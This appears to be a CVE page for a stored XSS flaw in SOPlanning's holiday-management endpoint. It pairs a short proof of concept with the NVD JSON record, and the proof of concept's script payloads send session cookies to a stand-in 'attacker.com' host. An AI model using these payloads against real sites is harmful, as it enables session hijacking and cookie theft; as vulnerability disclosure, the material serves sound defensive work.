CVE-2025-62731

// CVE-2025-62731 Stored XSS PoC for SOPlanning /feries endpoint // This PoC demonstrates the XSS injection in the public holidays feature // Payload: <script>alert(document.cookie)</script> // Or more sophisticated payload for session hijacking: // <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> // Steps to exploit: // 1. Login to SOPlanning with admin or privileged user account // 2. Navigate to the /feries endpoint (Holiday management page) // 3. Add a new holiday with XSS payload in name/description field // 4. Save the holiday - payload is stored in database // 5. Any user viewing holidays or related pages will trigger the XSS // Example HTTP POST request to /feries endpoint: const pocPayload = { method: 'POST', path: '/feries', body: { name: '<script>alert(String.fromCharCode(88,83,83))</script>', date: '2025-01-01', description: '<img src=x onerror=fetch("https://attacker.com?c="+document.cookie)>' } }; // The injected script will execute when: // - Viewing the holidays list // - Viewing calendar with holidays displayed // - Any page that renders holiday information

{"cve": {"id": "CVE-2025-62731", "sourceIdentifier": "[email protected]", "published": "2025-11-20T16:16:00.363", "lastModified": "2025-11-24T13:53:27.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SOPlanning is vulnerable to Stored XSS in /feries endpoint. Malicious attacker with access to public holidays feature is able to inject arbitrary HTML and JS into website, which will be rendered/executed when opening multiple pages. By default only administrators and users with special privileges are able to access this endpoint.\n\nThis issue was fixed in version 1.55."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.55.00", "matchCriteriaId": "C84D5087-6ED4-47E4-9E68-F1881726E7D2"}]}]}], "references": [{"url": "https://cert.pl/en/posts/2025/11/CVE-2025-62293", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.soplanning.org/en/", "source": "[email protected]", "tags": ["Product"]}]}}